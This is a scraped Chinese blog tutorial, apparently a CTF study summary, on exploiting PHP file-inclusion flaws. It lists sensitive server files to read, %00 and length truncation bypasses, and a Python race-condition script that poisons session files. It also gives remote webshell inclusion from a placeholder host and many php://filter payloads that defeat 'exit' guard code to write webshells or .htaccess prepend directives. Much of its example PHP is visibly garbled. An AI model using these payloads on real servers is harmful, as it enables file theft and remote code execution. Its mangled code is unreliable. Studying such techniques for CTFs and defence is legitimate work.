热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

从浅入深学习PHP文件包含

 在刚接触这方面的时候就先了解过PHP文件包含,但是通过做题还是觉得之前学的不是很扎实,这次将之前不理解的有疑问的还有学到的一并总结起来。文件包含服务器在执行PHP文件时,可以通过文件包含函数加载另一

 

在刚接触这方面的时候就先了解过PHP文件包含,但是通过做题还是觉得之前学的不是很扎实,这次将之前不理解的有疑问的还有学到的一并总结起来。



文件包含


服务器在执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这样会节省开发时间



漏洞产生原因


通过引入文件时,用户可控,没有严格的检验,或是被绕过,操作一些敏感文件,导致文件泄露和恶意代码注入

例如:

$filename = $_GET['filename'];
include($filename);
?>

$_GET['filename']没有经过严格的过滤,直接带入了include的函数,便可以修改$_GET['filename']的值,执行非预期的操作。

在PHP中,通常是以下四个包含函数:

include()
include_once()
require()
require_once()

include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。

include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次,适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,你想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。

 

两种文件包含


当包含文件在服务器本地上,就形成本地文件包含,当包含的文件在第三方服务器是,就形成可远程文件包含。



本地文件包含

0x00:无任何限制

测试代码如下:

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>

由于没有任何限制所以可以通过目录遍历漏洞来获取到系统中的其他内容,因为考察文件包含经常是结合任意文件读取漏洞的,所以就总结一些文件常见读取路径

/etc/apache2/*
#Apache配置文件,可以获知Web目录、服务端口等信息
/etc/nginx/*
#Nginx配置文件,可以获知Web目录、服务端口等信息
/etc/crontab
#定时任务文件
/etc/environment
#环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况
/etc/hostname
#主机名
/etc/hosts
#主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,可以探测网卡信息和内网IP/域名
/etc/issue
#系统版本信息
/etc/mysql/*
#MYSQL配置文件
/etc/php/*
#PHP配置文件
/proc 目录
#/proc目录通常存储着进程动态运行的各种信息,本质上是一种虚拟目录,如果查看非当前进程的信息,pid是可以进行暴力破解的,如果要查看当前进程,只需/proc/self代替/proc/[pid]即可
/proc/[pid]/cmdline
#cmdline可读出比较敏感的信息
# ssh日志,攻击方法:
ssh ``@192.168.1.1
/var/log/auth.log
# apache日志
/var/log/apache2/[access.log|error.log]

上面的示例代码是没有任何限制的,如果有限制的本地文件包含要怎么绕过那?

0x01:限制包含文件的后缀名

例如如下代码,增加了杂糅代码,对文件读取产生影响,但还是可以绕过

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file . ".Sn0w");
}else{
highlight_file(__FILE__);
}
?>

第一种方法:%00截断

前提:PHP<5.3.4
magic_quotes_gpc = Off

http://127.0.0.1/LFI/?file=flag.txt%00

第二种方法:长度截断

前提:PHP版本<=5.2.?
操作系统对于目录字符串存在长度限制
Windows下目录最大长度为256字节,超出的部分会被丢弃掉
Linux下目录最大长度为4096字节,超出的部分会被丢弃掉

如:windows操作系统,.超过256个字节即可

Linux下只需不断重复./即可

第三种方法:zip/phar协议

测试代码:

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file . ".php");
}else{
highlight_file(__FILE__);
}
?>

zip://文件路径/zip文件名称#压缩包内的文件名称 (使用时注意将#号进行URL编码)
phar://文件路径/phar文件名称/phar内的文件名称
phar://协议与zip://类似,同样可以访问zip格式压缩包内容

0x02:Session文件包含漏洞

前提条件:PHP版本>5.4.0、配置项:session.upload_progress.enabled的值为On

示例代码如下:

利用session.upload_progress进行文件包含,在php5.4之后添加了这个功能

再来看几个php.ini的默认选项

session.upload_progress.enabled = on
表示upload_progress功能开始,即当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on
表示当文件上传结束后,php将会立即清空对应session文件中的内容
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
#表示为session中的键名
session.use_strict_mode=off
#表示对COOKIE中sessionid可控

上面几个默认选项,可能最后两个稍微有点不好理解,其实官方已经举出了对应的例子,如:

// PHPSESSION = Sn0w






session.upload_``progress.name='PHP_SESSION_UPLOAD_PROGRESS'的条件下,上传文件,便会在session['upload_progress_123']中储存一些本次上传相关的信息,储存在/tmp/sess_Sn0w

通过上图和几个默认选项的有关介绍就想是否可以利用session.upload_progress来写入恶意语句,然后进行包含文件,但前提是需要知道session的存储位置

这就需要先了解一下PHP中session的存储机制

php中的session中的内容并不是存储在内存中,而是以文件的方式进行存储,存储方式是由配置项session.save_handler来进行确定的,默认便是以文件的方式进行存储,存储文件的名字便是由sess_sessionid来进行命名的,文件的内容便是session值序列化之后的内容。至于存储路径便是由配置项session.save_path来进行决定的。

一般session的存储路径都不会怎么去改,默认的便是:

linux:
/tmp

/var/lib/php/session
Windows:
C:\WINDOWS\Temp

存储路径知道了,但是还是有一个问题,便是代码中没有session_start()函数,怎么样创建出session文件那,其实如果配置项session.auto_start=On 是打开的,那么PHP在接收请求的时候便会自动化Session,不再需要执行该函数,但默认都是关闭的,在session中还有一个默认选项,便是上面提到的session.use_strict_mode默认值是0,用户可以自己定义SessionID。如:

COOKIE中设置:
PHPSESSID=Sn0w
PHP便会在服务器上创建一个文件(默认路径)
/tmp/sess_Sn0w

即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

但还有一个问题没有解决,即使是写进去了默认配置session.upload_progress.cleanup = on导致文件上传后,session文件内容会立即被清空,所以这里就需要去使用多线程同时进行写和读,进行条件竞争,在session文件清除前进行包含利用。

# -*- coding: utf-8 -*-
import requests
import io
import threading
url = 'http://40902305-6448-4874-b65d-79adb550fd6d.chall.ctf.show/'
sessID = 'Sn0w'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'Sn0w' * 1024 * 50)
repOnse= session.post(
url,
COOKIEs={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':''},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
repOnse= session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
if 'text' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()

上传的有关信息

自己设置的键值因为是php所以解析掉了

这样就可以得到flag了,除此之外,还可以使用burp来进行条件竞争,例如上面官方给的html上传代码上传一个文件











再根据代码抓一个get的包,请求/tmp/sess_flag

同时进行爆破,payload设置成null payloads就可以一直爆破


远程文件包含


利用前提:
allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件

0x00:无任何限制

代码没有任何限制,直接在公网上存放恶意webshell即可,然后通过包含即可执行恶意payload

?filename=http://xxxx/php.txt

0x01:限制包含文件的后缀名

例如:


第一种方法:?绕过

?filename=http://xxxx/php.txt?

第二种方法:#绕过

?filename=http://xxxx/php.txt%23

 

PHP伪协议


简单理解便是PHP自己提供的一套协议,可以适用于自己的语言,其他语言则不适用,这便是伪协议,与之相对的例如HTTP\HTTPS便不是伪协议,因为大部分系统\软件都能够进行识别。



常见的伪协议

如果遇到的环境有写入权限,可以使用php://input伪协议来写入木马

POST DATA
'); ?>


php://filter各种过滤器


php://filter是一种元封装器,设计用来数据流打开时筛选过滤应用。
官方文档

对于php://来说,是支持多种过滤器嵌套的,格式如下:

php://filter/[read|write]=[过滤器1]|[过滤器2]/resource=文件名称(包含后缀名)
#如果|被过滤掉了,可以使用多过滤器:
php://filter/string.rot13/resource=php://filter/convert.base64-encode/resource=文件名称(包含后缀名)
嵌套过程的执行流程为从左到右

其实是可以简写成这样的php://filter/[过滤器] ,php会自己进行识别。

过滤器列表如下:


























































过滤器名称说明类别版本
string.rot13rot13转换字符串过滤器PHP>4.3.0
string.toupper、string.tolower大小写互转字符串过滤器PHP>5.0.0
string.strip_tags去除的内容string.strip_tagsPHP<7.3.0
convert.base64-encode、convert.base64-decodebase64编码转换转换过滤器PHP>5.0.0
convert.quoted-printable-encode、convert.quoted-printable-decodeURL编码转换转换过滤器PHP>5.0.0
convert.iconv.编码1.编码2任意编码转换转换过滤器PHP>5.0.0
zlib.deflate、zlib.inflatezlib压缩压缩过滤器PHP>5.1.0
bzip2.compress、bzip2.decompresszlib压缩压缩过滤器PHP>5.1.0


从上面的过滤器列表中便会发现,php伪协议主要支持以下几类:


  1. 字符串过滤器

  2. string.strip_tags

  3. 转换过滤器

  4. 压缩过滤器

  5. 加密过滤器



PHP伪协议常用函数



  • file_get_contents

  • file_put_contents

  • readfile

  • fopen

  • file

  • show_source

  • highlight_file

    注意show_source有回显,而file_get_contents是没有回显的



 

file_put_content与死亡/杂糅代码

CTF经常类似考察这样的代码:

file_put_contents($filename,"file_put_contents($content,"file_put_contents($filename,$content . "\nxxxxxx");

这种代码非常常见,在$content开头增加了exit进程,即使写入一句话,也无法执行,遇到这种问题一般的解决方法便是利用伪协议php://filter,结合编码或相应的过滤器进行绕过。绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。


第一种情况

这里自己先搭建一个环境,通过学习大师傅绕过的方法,自己也来实践一番

if(isset($_GET['file'])){
$file = $_GET['file'];
$cOntent= $_POST['content'];
file_put_contents($file,"}else{
highlight_file(__FILE__);
}

0x01:base64编码绕过

上面提到了绕过原理便是将死亡或者杂糅代码分解成为php无法进行识别的代码。
对于第一种情况便可以使用base64编码,因为base64只能打印64(a-z0-9A-Z)个可打印字符,PHP在解码base64时,如果遇到了不在其中的字符,便会跳过这些字符,然后将合法字符组成一个新的字符串再进行解码。当$content被加上了以后,可以使用 php://filter/convert.base64-decode来首先对其解码。在解码的过程中,字符<、?、;、>、空格等不符合base64编码的字符范围将会被忽略,所以最终被解码的字符只有phpexit和传入的其他字符。

但是还要知道一点的是base64解码时是4个byte一组,上面正常解码的只有7个字符,所以再手动加上去1个字符a,凑齐8个字符即可

payload:

?file=php://filter/convert.base64-decode/resource=Sn0w.php
DATA:
cOntent=aPD9waHAgcGhwaW5mbygpOz8+

0x02:rot13编码绕过

利用rot13编码其实和base64编码绕过原理一样,只要成为php无法进行识别的代码,就不会执行。

前提是PHP没有开启short_open_tag(短标签),默认情况下是没有开启的

payload:


rot13

0x03:嵌套绕过

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签(php7.3之后移除)

除了上面的两种编码绕过,还可以使用嵌套过滤器的方式来进行绕过,在上面的过滤器列表中有一个string.strip_tags,可以去除剥去字符串中的 HTML、XML 以及 PHP 的标签,而实际上便是一个XML标签,既然是XML标签,就可以利用strip_tags函数去除它,所以可以先将webshell用base64编码。调用完成strip_tags后再进行base64-decode。死亡exit在第一步被去除,而webshell在第二步被还原。

payload:

#php5
?file=php://filter/string.strip_tags|convert.base64-decode/resource=Sn0w.php
DATA:
cOntent=?>PD9waHAgcGhwaW5mbygpOz8+
#由于进行补全

但是这种方法有局限性,因为string.strip_tags在php7以上的环境下会发生段错误,从而导致无法写入,在php5的环境下则不受此影响。


那如果环境是php7的话,也可以使用过滤器嵌套的方法来做,流程是先将三个过滤器叠加之后进行压缩,然后转小写,最后再解压,这样的流程执行结束后会导致部分死亡代码错误,便可以写进去我们想要写入的shell,原理很简单,就是利用过滤器嵌套的方式让死亡代码在各种变换之间进行分解扰乱,最终变成php无法识别的字符。

?file=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=4.php
DATA:
cOntent=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=4.php
或者
cOntent=php/:|/resource=4.php

经过测试发现这里最好文件名尽量不要太复制,可能会导致写不进去

0x04:.htaccess的预包含利用

.htaccess是一个纯文本文件,里面存放着Apache服务器配置相关的一些指令,它类似于Apache的站点配置文件,但只作用于当前目录,而且是只有用户访问目录时才加载,通过该文件可以实现网页301重定向,自定义404错误页面,改变文件拓展名,禁止目录列表等

通过 php_value 来设置 auto_prepend_file或者 auto_append_file 配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php 文件来触发。

php_value auto_prepend_file +文件绝对路径(默认为当前上传的目录)

payload:

?file=php://filter/write=string.strip_tags/resource=.htaccess
DATA:
cOntent=?>php_value%20auto_prepend_file%20D:\flag.php

这时无论访问那个文件,都会解析出flag.php


第二种情况

if(isset($_GET['content'])){
$cOntent= $_GET['content'];
file_put_contents($content,"}else{
highlight_file(__FILE__);
}

这种情况和上面第一种便有点不同了,因为是一个变量,但还是可以利用php伪协议进行嵌套过滤器来消除死亡代码的,看了s1mple师傅的方法,还是可以利用.htaccess进行预包含,然后读取flag。

0x01:.htaccess预包含绕过

payload:

?cOntent=php://filter/string.strip_tags/?>php_value auto_prepend_file D:\flag.php%0a%23/resource=.htaccess

可以直接自定义预包含文件,这里直接包含了.htaccess导致了所有文件都包含flag.php文件

0x02:base64编码绕过

既然变成了一个变量,那么首先想到的payload便是:

php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php

但是有一个问题,可以创建文件,但是无法写入内容,查看了cyc1e师傅的博客,发现问题是出在=号上,因为默认情况下base64编码是以=作为结尾的,在正常解码的时候到了 =就解码结束了,在最后获取文件名的时候因为resource=中含有等号,所以以为解码是结束了,导致过滤器解码失败,从而报错,内容由于解码过程出错了,所以就都丢弃了。

所以现在问题就转变为了只要能去掉这个等号,就可以将内容写进去,可以看下这种方法:

php://filter/PD9waHAgcGhwaW5mbygpOz8%2B.php

如果按照之前的思路是先闭合死亡代码,然后再使用过滤器去除html标签,最后再进行解码,但仔细观察这个payload并非是那种解法,而是直接在内容时,就将我们base64遇到的等号这个问题直接写在中进行过滤掉,然后base64-decode再对原本内容的进行转码,从而达到分解死亡代码的目的。

除此之外还可以使用之前的思路来做,既然base64编码写在里面不行,那么就直接放在外面,然后搭配一下过滤器

php://filter/string.strip.tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B.php

先闭合死亡代码,然后进行解码,这样便可以写入到文件中去,但访问的话会出现问题,查看s1mple师傅的方法,发现可以通过使用伪目录的方法,从而绕过去

php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2B/../Sn0w.php

将前面的一串base64字符和闭合的符号整体看作一个目录,虽然没有,但是后面重新撤回了原目录,生成Sn0w.php文件;从而就可以生成正常的文件名,上面的那种方法也可以使用这种伪目录的方法解决访问问题。

0x02:rot13编码绕过

rot13则无需考虑=号问题

?cOntent=php://filter/string.rot13//resource=1.php

0x03:iconv字符编码绕过

在php中iconv函数库能够完成各种字符集间的转换

在该函数库下有一个convert.iconv.这样的过滤器,这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。

iconv ( string $in_charset , string $out_charset , string $str ) : string
将字符串 str 从 in_charset 转换编码到 out_charset。

那接下来的思路就很明显了,就是借用此过滤器,从而进行编码的转换,转换掉死亡代码,写入自己的shell,首先先要了解一下UCS的两种编码格式

UCS有两种格式
UCS-2和UCS-4
UCS-2就是用两个字节编码
UCS-4就是用四个字节编码

先来看一下利用这个函数即不同的格式转换后的结果

第二个之所以要加上两个字符,是因为UCS-4对目标字符串是4位一反转,所以要注意这里的恶意代码要是4的倍数,所以这里需要补上两个字符

那接下来就用过滤器将这些编码后的结果再转回去不就形成了我们想要写入的内容

UCS-2

对目标字符串进行2位一反转

payload:

php://filter//convert.iconv.UCS-2LE.UCS-2BE|??/resource=2.php

UCS-4

对目标字符串进行4位一反转,一定要拼凑够4的倍数

php://filter/convert.iconv.UCS-4LE.UCS-4BE|??;)/resource=3.php

0x04:组合拳

UTF-8/UTF-7

还记得上面的base64编码之所以这种

php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php

payload无法执行是因为受到了等号的影响,但是通过测试发现可以利用UTF-8和UTF-7间的转换了来绕过等号

再进解码发现等号并没有转回来

所以可以利用这种特性来嵌套过滤器,从而绕过等号

php://filter/write=PD9waHAgcGhwaW5mbygpOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=1.php

php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php

经过测试发现,write=一定要写进去,如果不写PHP不会去自动识别,还有就是内容要写在前面,如果写在后面内容写会写入,但是解析不了,如:

php://filter/write=convert.iconv.utf-8.utf-7|convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=Sn0w.php

UCS2/ROT13、UCS4/ROT13

这里在自己测试的发现,使用UCS2或UCS4进行编码时,这个过程是识别空格的,但是到使用伪协议的时候需要进行反转解码,又无法识别空格,这就是为什么下面的payload要多加一个字符,可以自己测试一下就明白了。

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE|string.rot13|x??/resource=shell.php
#注意这里要补充一个字符,因为空格无法和任意一个字符搭配进行反转

UCS4/ROT13

同样如此

php://filter/write=convert.iconv.UCS-4LE.UCS-4BE|string.rot13|x??;)/resource=6.php


第三种情况

if(isset($_GET['content'])){
$filename = $_GET['filename'];
$cOntent= $_GET['content'];
file_put_contents($filename,$content . "\nxxxxxx");
}else{
highlight_file(__FILE__);
}

这种考点一般的话是禁止有特殊起始符和结束符号的语言,如果不禁,直接写入PHP代码就可以执行了,后面的限制也就没有什么意义了,这类问题往往是需要想办法处理掉杂糅代码的。

.htaccess绕过

使用.htaccess文件绕过需要注意该文件是很敏感的,如果有杂糅代码,便会出现错误,导致无法操作,可以使用注释符来将杂糅代码给注释掉

?filename=.htaccess&cOntent=php_value auto_prepend_file D:\flag.php%0a%23\

 

参考博客:

https://xz.aliyun.com/t/8163#toc-14
https://cyc1e183.github.io/2020/04/03/%E5%85%B3%E4%BA%8Efile_put_contents%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%B5%8B%E8%AF%95/
https://www.cnblogs.com/jpdoutop/p/httpd-htaccess.html
https://www.leavesongs.com/PENETRATION/php-filter-magic.html


推荐阅读
  • 本文介绍了在开发Android新闻App时,搭建本地服务器的步骤。通过使用XAMPP软件,可以一键式搭建起开发环境,包括Apache、MySQL、PHP、PERL。在本地服务器上新建数据库和表,并设置相应的属性。最后,给出了创建new表的SQL语句。这个教程适合初学者参考。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • 这是原文链接:sendingformdata许多情况下,我们使用表单发送数据到服务器。服务器处理数据并返回响应给用户。这看起来很简单,但是 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • 本文介绍了RPC框架Thrift的安装环境变量配置与第一个实例,讲解了RPC的概念以及如何解决跨语言、c++客户端、web服务端、远程调用等需求。Thrift开发方便上手快,性能和稳定性也不错,适合初学者学习和使用。 ... [详细]
  • 本文介绍了关于apache、phpmyadmin、mysql、php、emacs、path等知识点,以及如何搭建php环境。文章提供了详细的安装步骤和所需软件列表,希望能帮助读者解决与LAMP相关的技术问题。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • Spring常用注解(绝对经典),全靠这份Java知识点PDF大全
    本文介绍了Spring常用注解和注入bean的注解,包括@Bean、@Autowired、@Inject等,同时提供了一个Java知识点PDF大全的资源链接。其中详细介绍了ColorFactoryBean的使用,以及@Autowired和@Inject的区别和用法。此外,还提到了@Required属性的配置和使用。 ... [详细]
  • Activiti7流程定义开发笔记
    本文介绍了Activiti7流程定义的开发笔记,包括流程定义的概念、使用activiti-explorer和activiti-eclipse-designer进行建模的方式,以及生成流程图的方法。还介绍了流程定义部署的概念和步骤,包括将bpmn和png文件添加部署到activiti数据库中的方法,以及使用ZIP包进行部署的方式。同时还提到了activiti.cfg.xml文件的作用。 ... [详细]
  • 本文讨论了在shiro java配置中加入Shiro listener后启动失败的问题。作者引入了一系列jar包,并在web.xml中配置了相关内容,但启动后却无法正常运行。文章提供了具体引入的jar包和web.xml的配置内容,并指出可能的错误原因。该问题可能与jar包版本不兼容、web.xml配置错误等有关。 ... [详细]
author-avatar
aadsasdass_998_268
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有